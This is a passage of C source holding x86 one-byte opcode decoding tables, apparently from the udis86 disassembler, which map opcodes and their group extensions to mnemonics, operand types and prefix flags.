UD_Isub, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 29 */ { UD_Isub, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 2A */ { UD_Isub, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 2B */ { UD_Isub, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 2C */ { UD_Isub, O_AL, O_Ib, O_NONE, P_none },\n /* 2D */ { UD_Isub, O_rAX, O_Iz, O_NONE, P_oso|P_rexw },\n /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2F */ { UD_Idas, O_NONE, O_NONE, O_NONE, P_inv64|P_none },\n /* 30 */ { UD_Ixor, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 31 */ { UD_Ixor, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 32 */ { UD_Ixor, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 33 */ { UD_Ixor, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 34 */ { UD_Ixor, O_AL, O_Ib, O_NONE, P_none },\n /* 35 */ { UD_Ixor, O_rAX, O_Iz, O_NONE, P_oso|P_rexw },\n /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 37 */ { UD_Iaaa, O_NONE, O_NONE, O_NONE, P_inv64|P_none },\n /* 38 */ { UD_Icmp, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 39 */ { UD_Icmp, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 3A */ { UD_Icmp, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 3B */ { UD_Icmp, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 3C */ { UD_Icmp, O_AL, O_Ib, O_NONE, P_none },\n /* 3D */ { UD_Icmp, O_rAX, O_Iz, O_NONE, P_oso|P_rexw },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iaas, O_NONE, O_NONE, O_NONE, P_inv64|P_none },\n /* 40 */ { UD_Iinc, O_eAX, O_NONE, O_NONE, P_oso },\n /* 41 */ { UD_Iinc, O_eCX, O_NONE, O_NONE, P_oso },\n /* 42 */ { UD_Iinc, O_eDX, O_NONE, O_NONE, P_oso },\n /* 43 */ { UD_Iinc, O_eBX, O_NONE, O_NONE, P_oso },\n /* 44 */ { UD_Iinc, O_eSP, O_NONE, O_NONE, P_oso },\n /* 45 */ { UD_Iinc, O_eBP, O_NONE, O_NONE, P_oso },\n /* 46 */ { UD_Iinc, O_eSI, O_NONE, O_NONE, P_oso },\n /* 47 */ { UD_Iinc, O_eDI, O_NONE, O_NONE, P_oso },\n /* 48 */ { UD_Idec, O_eAX, O_NONE, O_NONE, P_oso },\n /* 49 */ { UD_Idec, O_eCX, O_NONE, O_NONE, P_oso },\n /* 4A */ { UD_Idec, O_eDX, O_NONE, O_NONE, P_oso },\n /* 4B */ { UD_Idec, O_eBX, O_NONE, O_NONE, P_oso },\n /* 4C */ { UD_Idec, O_eSP, O_NONE, O_NONE, P_oso },\n /* 4D */ { UD_Idec, O_eBP, O_NONE, O_NONE, P_oso },\n /* 4E */ { UD_Idec, O_eSI, O_NONE, O_NONE, P_oso },\n /* 4F */ { UD_Idec, O_eDI, O_NONE, O_NONE, P_oso },\n /* 50 */ { UD_Ipush, O_rAXr8, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 51 */ { UD_Ipush, O_rCXr9, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 52 */ { UD_Ipush, O_rDXr10, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 53 */ { UD_Ipush, O_rBXr11, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 54 */ { UD_Ipush, O_rSPr12, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 55 */ { UD_Ipush, O_rBPr13, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 56 */ { UD_Ipush, O_rSIr14, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 57 */ { UD_Ipush, O_rDIr15, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 58 */ { UD_Ipop, O_rAXr8, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 59 */ { UD_Ipop, O_rCXr9, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 5A */ { UD_Ipop, O_rDXr10, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 5B */ { UD_Ipop, O_rBXr11, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 5C */ { UD_Ipop, O_rSPr12, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 5D */ { UD_Ipop, O_rBPr13, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 5E */ { UD_Ipop, O_rSIr14, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 5F */ { UD_Ipop, O_rDIr15, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb },\n /* 60 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_60__OSIZE },\n /* 61 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_61__OSIZE },\n /* 62 */ { UD_Ibound, O_Gv, O_M, O_NONE, P_inv64|P_aso|P_oso },\n /* 63 */ { UD_Igrp_mode, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_63__MODE },\n /* 64 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 65 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 66 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 67 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 68 */ { UD_Ipush, O_Iz, O_NONE, O_NONE, P_c1|P_oso },\n /* 69 */ { UD_Iimul, O_Gv, O_Ev, O_Iz, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 6A */ { UD_Ipush, O_Ib, O_NONE, O_NONE, P_none },\n /* 6B */ { UD_Iimul, O_Gv, O_Ev, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 6C */ { UD_Iinsb, O_NONE, O_NONE, O_NONE, P_none },\n /* 6D */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_6D__OSIZE },\n /* 6E */ { UD_Ioutsb, O_NONE, O_NONE, O_NONE, P_none },\n /* 6F */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_6F__OSIZE },\n /* 70 */ { UD_Ijo, O_Jb, O_NONE, O_NONE, P_none },\n /* 71 */ { UD_Ijno, O_Jb, O_NONE, O_NONE, P_none },\n /* 72 */ { UD_Ijb, O_Jb, O_NONE, O_NONE, P_none },\n /* 73 */ { UD_Ijae, O_Jb, O_NONE, O_NONE, P_none },\n /* 74 */ { UD_Ijz, O_Jb, O_NONE, O_NONE, P_none },\n /* 75 */ { UD_Ijnz, O_Jb, O_NONE, O_NONE, P_none },\n /* 76 */ { UD_Ijbe, O_Jb, O_NONE, O_NONE, P_none },\n /* 77 */ { UD_Ija, O_Jb, O_NONE, O_NONE, P_none },\n /* 78 */ { UD_Ijs, O_Jb, O_NONE, O_NONE, P_none },\n /* 79 */ { UD_Ijns, O_Jb, O_NONE, O_NONE, P_none },\n /* 7A */ { UD_Ijp, O_Jb, O_NONE, O_NONE, P_none },\n /* 7B */ { UD_Ijnp, O_Jb, O_NONE, O_NONE, P_none },\n /* 7C */ { UD_Ijl, O_Jb, O_NONE, O_NONE, P_none },\n /* 7D */ { UD_Ijge, O_Jb, O_NONE, O_NONE, P_none },\n /* 7E */ { UD_Ijle, O_Jb, O_NONE, O_NONE, P_none },\n /* 7F */ { UD_Ijg, O_Jb, O_NONE, O_NONE, P_none },\n /* 80 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_80__REG },\n /* 81 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_81__REG },\n /* 82 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_82__REG },\n /* 83 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_83__REG },\n /* 84 */ { UD_Itest, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 85 */ { UD_Itest, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 86 */ { UD_Ixchg, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 87 */ { UD_Ixchg, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 88 */ { UD_Imov, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 89 */ { UD_Imov, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 8A */ { UD_Imov, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 8B */ { UD_Imov, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 8C */ { UD_Imov, O_Ev, O_S, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb },\n /* 8D */ { UD_Ilea, O_Gv, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 8E */ { UD_Imov, O_S, O_Ev, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb },\n /* 8F */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_8F__REG },\n /* 90 */ { UD_Ixchg, O_rAXr8, O_rAX, O_NONE, P_oso|P_rexw|P_rexb },\n /* 91 */ { UD_Ixchg, O_rCXr9, O_rAX, O_NONE, P_oso|P_rexw|P_rexb },\n /* 92 */ { UD_Ixchg, O_rDXr10, O_rAX, O_NONE, P_oso|P_rexw|P_rexb },\n /* 93 */ { UD_Ixchg, O_rBXr11, O_rAX, O_NONE, P_oso|P_rexw|P_rexb },\n /* 94 */ { UD_Ixchg, O_rSPr12, O_rAX, O_NONE, P_oso|P_rexw|P_rexb },\n /* 95 */ { UD_Ixchg, O_rBPr13, O_rAX, O_NONE, P_oso|P_rexw|P_rexb },\n /* 96 */ { UD_Ixchg, O_rSIr14, O_rAX, O_NONE, P_oso|P_rexw|P_rexb },\n /* 97 */ { UD_Ixchg, O_rDIr15, O_rAX, O_NONE, P_oso|P_rexw|P_rexb },\n /* 98 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_98__OSIZE },\n /* 99 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_99__OSIZE },\n /* 9A */ { UD_Icall, O_Ap, O_NONE, O_NONE, P_inv64|P_oso },\n /* 9B */ { UD_Iwait, O_NONE, O_NONE, O_NONE, P_none },\n /* 9C */ { UD_Igrp_mode, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9C__MODE },\n /* 9D */ { UD_Igrp_mode, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9D__MODE },\n /* 9E */ { UD_Isahf, O_NONE, O_NONE, O_NONE, P_none },\n /* 9F */ { UD_Ilahf, O_NONE, O_NONE, O_NONE, P_none },\n /* A0 */ { UD_Imov, O_AL, O_Ob, O_NONE, P_none },\n /* A1 */ { UD_Imov, O_rAX, O_Ov, O_NONE, P_aso|P_oso|P_rexw },\n /* A2 */ { UD_Imov, O_Ob, O_AL, O_NONE, P_none },\n /* A3 */ { UD_Imov, O_Ov, O_rAX, O_NONE, P_aso|P_oso|P_rexw },\n /* A4 */ { UD_Imovsb, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_none },\n /* A5 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_A5__OSIZE },\n /* A6 */ { UD_Icmpsb, O_NONE, O_NONE, O_NONE, P_none },\n /* A7 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_A7__OSIZE },\n /* A8 */ { UD_Itest, O_AL, O_Ib, O_NONE, P_none },\n /* A9 */ { UD_Itest, O_rAX, O_Iz, O_NONE, P_oso|P_rexw },\n /* AA */ { UD_Istosb, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_none },\n /* AB */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_AB__OSIZE },\n /* AC */ { UD_Ilodsb, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_none },\n /* AD */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_AD__OSIZE },\n /* AE */ { UD_Iscasb, O_NONE, O_NONE, O_NONE, P_none },\n /* AF */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_AF__OSIZE },\n /* B0 */ { UD_Imov, O_ALr8b, O_Ib, O_NONE, P_rexb },\n /* B1 */ { UD_Imov, O_CLr9b, O_Ib, O_NONE, P_rexb },\n /* B2 */ { UD_Imov, O_DLr10b, O_Ib, O_NONE, P_rexb },\n /* B3 */ { UD_Imov, O_BLr11b, O_Ib, O_NONE, P_rexb },\n /* B4 */ { UD_Imov, O_AHr12b, O_Ib, O_NONE, P_rexb },\n /* B5 */ { UD_Imov, O_CHr13b, O_Ib, O_NONE, P_rexb },\n /* B6 */ { UD_Imov, O_DHr14b, O_Ib, O_NONE, P_rexb },\n /* B7 */ { UD_Imov, O_BHr15b, O_Ib, O_NONE, P_rexb },\n /* B8 */ { UD_Imov, O_rAXr8, O_Iv, O_NONE, P_oso|P_rexw|P_rexb },\n /* B9 */ { UD_Imov, O_rCXr9, O_Iv, O_NONE, P_oso|P_rexw|P_rexb },\n /* BA */ { UD_Imov, O_rDXr10, O_Iv, O_NONE, P_oso|P_rexw|P_rexb },\n /* BB */ { UD_Imov, O_rBXr11, O_Iv, O_NONE, P_oso|P_rexw|P_rexb },\n /* BC */ { UD_Imov, O_rSPr12, O_Iv, O_NONE, P_oso|P_rexw|P_rexb },\n /* BD */ { UD_Imov, O_rBPr13, O_Iv, O_NONE, P_oso|P_rexw|P_rexb },\n /* BE */ { UD_Imov, O_rSIr14, O_Iv, O_NONE, P_oso|P_rexw|P_rexb },\n /* BF */ { UD_Imov, O_rDIr15, O_Iv, O_NONE, P_oso|P_rexw|P_rexb },\n /* C0 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_C0__REG },\n /* C1 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_C1__REG },\n /* C2 */ { UD_Iret, O_Iw, O_NONE, O_NONE, P_none },\n /* C3 */ { UD_Iret, O_NONE, O_NONE, O_NONE, P_none },\n /* C4 */ { UD_Iles, O_Gv, O_M, O_NONE, P_inv64|P_aso|P_oso },\n /* C5 */ { UD_Ilds, O_Gv, O_M, O_NONE, P_inv64|P_aso|P_oso },\n /* C6 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_C6__REG },\n /* C7 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_C7__REG },\n /* C8 */ { UD_Ienter, O_Iw, O_Ib, O_NONE, P_def64|P_depM|P_none },\n /* C9 */ { UD_Ileave, O_NONE, O_NONE, O_NONE, P_none },\n /* CA */ { UD_Iretf, O_Iw, O_NONE, O_NONE, P_none },\n /* CB */ { UD_Iretf, O_NONE, O_NONE, O_NONE, P_none },\n /* CC */ { UD_Iint3, O_NONE, O_NONE, O_NONE, P_none },\n /* CD */ { UD_Iint, O_Ib, O_NONE, O_NONE, P_none },\n /* CE */ { UD_Iinto, O_NONE, O_NONE, O_NONE, P_inv64|P_none },\n /* CF */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_CF__OSIZE },\n /* D0 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D0__REG },\n /* D1 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D1__REG },\n /* D2 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D2__REG },\n /* D3 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D3__REG },\n /* D4 */ { UD_Iaam, O_Ib, O_NONE, O_NONE, P_inv64|P_none },\n /* D5 */ { UD_Iaad, O_Ib, O_NONE, O_NONE, P_inv64|P_none },\n /* D6 */ { UD_Isalc, O_NONE, O_NONE, O_NONE, P_inv64|P_none },\n /* D7 */ { UD_Ixlatb, O_NONE, O_NONE, O_NONE, P_rexw },\n /* D8 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D8__MOD },\n /* D9 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D9__MOD },\n /* DA */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DA__MOD },\n /* DB */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DB__MOD },\n /* DC */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DC__MOD },\n /* DD */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DD__MOD },\n /* DE */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DE__MOD },\n /* DF */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DF__MOD },\n /* E0 */ { UD_Iloopnz, O_Jb, O_NONE, O_NONE, P_none },\n /* E1 */ { UD_Iloope, O_Jb, O_NONE, O_NONE, P_none },\n /* E2 */ { UD_Iloop, O_Jb, O_NONE, O_NONE, P_none },\n /* E3 */ { UD_Igrp_asize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_E3__ASIZE },\n /* E4 */ { UD_Iin, O_AL, O_Ib, O_NONE, P_none },\n /* E5 */ { UD_Iin, O_eAX, O_Ib, O_NONE, P_oso },\n /* E6 */ { UD_Iout, O_Ib, O_AL, O_NONE, P_none },\n /* E7 */ { UD_Iout, O_Ib, O_eAX, O_NONE, P_oso },\n /* E8 */ { UD_Icall, O_Jz, O_NONE, O_NONE, P_def64|P_oso },\n /* E9 */ { UD_Ijmp, O_Jz, O_NONE, O_NONE, P_def64|P_depM|P_oso },\n /* EA */ { UD_Ijmp, O_Ap, O_NONE, O_NONE, P_inv64|P_none },\n /* EB */ { UD_Ijmp, O_Jb, O_NONE, O_NONE, P_none },\n /* EC */ { UD_Iin, O_AL, O_DX, O_NONE, P_none },\n /* ED */ { UD_Iin, O_eAX, O_DX, O_NONE, P_oso },\n /* EE */ { UD_Iout, O_DX, O_AL, O_NONE, P_none },\n /* EF */ { UD_Iout, O_DX, O_eAX, O_NONE, P_oso },\n /* F0 */ { UD_Ilock, O_NONE, O_NONE, O_NONE, P_none },\n /* F1 */ { UD_Iint1, O_NONE, O_NONE, O_NONE, P_none },\n /* F2 */ { UD_Irepne, O_NONE, O_NONE, O_NONE, P_none },\n /* F3 */ { UD_Irep, O_NONE, O_NONE, O_NONE, P_none },\n /* F4 */ { UD_Ihlt, O_NONE, O_NONE, O_NONE, P_none },\n /* F5 */ { UD_Icmc, O_NONE, O_NONE, O_NONE, P_none },\n /* F6 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_F6__REG },\n /* F7 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_F7__REG },\n /* F8 */ { UD_Iclc, O_NONE, O_NONE, O_NONE, P_none },\n /* F9 */ { UD_Istc, O_NONE, O_NONE, O_NONE, P_none },\n /* FA */ { UD_Icli, O_NONE, O_NONE, O_NONE, P_none },\n /* FB */ { UD_Isti, O_NONE, O_NONE, O_NONE, P_none },\n /* FC */ { UD_Icld, O_NONE, O_NONE, O_NONE, P_none },\n /* FD */ { UD_Istd, O_NONE, O_NONE, O_NONE, P_none },\n /* FE */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_FE__REG },\n /* FF */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_FF__REG },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_60__osize[3] = {\n /* 00 */ { UD_Ipusha, O_NONE, O_NONE, O_NONE, P_inv64|P_oso },\n /* 01 */ { UD_Ipushad, O_NONE, O_NONE, O_NONE, P_inv64|P_oso },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_61__osize[3] = {\n /* 00 */ { UD_Ipopa, O_NONE, O_NONE, O_NONE, P_inv64|P_oso },\n /* 01 */ { UD_Ipopad, O_NONE, O_NONE, O_NONE, P_inv64|P_oso },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_63__mode[3] = {\n /* 00 */ { UD_Iarpl, O_Ew, O_Gw, O_NONE, P_inv64|P_aso },\n /* 01 */ { UD_Iarpl, O_Ew, O_Gw, O_NONE, P_inv64|P_aso },\n /* 02 */ { UD_Imovsxd, O_Gv, O_Ed, O_NONE, P_c2|P_aso|P_oso|P_rexw|P_rexx|P_rexr|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_6d__osize[3] = {\n /* 00 */ { UD_Iinsw, O_NONE, O_NONE, O_NONE, P_oso },\n /* 01 */ { UD_Iinsd, O_NONE, O_NONE, O_NONE, P_oso },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_6f__osize[3] = {\n /* 00 */ { UD_Ioutsw, O_NONE, O_NONE, O_NONE, P_oso },\n /* 01 */ { UD_Ioutsd, O_NONE, O_NONE, O_NONE, P_oso },\n /* 02 */ { UD_Ioutsq, O_NONE, O_NONE, O_NONE, P_oso },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_80__reg[8] = {\n /* 00 */ { UD_Iadd, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ior, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Iadc, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Isbb, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iand, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Isub, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ixor, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Icmp, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_81__reg[8] = {\n /* 00 */ { UD_Iadd, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ior, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Iadc, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Isbb, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iand, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Isub, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ixor, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Icmp, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_82__reg[8] = {\n /* 00 */ { UD_Iadd, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ior, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Iadc, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Isbb, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iand, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Isub, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ixor, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Icmp, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_83__reg[8] = {\n /* 00 */ { UD_Iadd, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ior, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Iadc, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Isbb, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Iand, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Isub, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ixor, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Icmp, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_8f__reg[8] = {\n /* 00 */ { UD_Ipop, O_Ev, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_98__osize[3] = {\n /* 00 */ { UD_Icbw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n /* 01 */ { UD_Icwde, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n /* 02 */ { UD_Icdqe, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_99__osize[3] = {\n /* 00 */ { UD_Icwd, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n /* 01 */ { UD_Icdq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n /* 02 */ { UD_Icqo, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_9c__mode[3] = {\n /* 00 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9C__MODE__OP_00__OSIZE 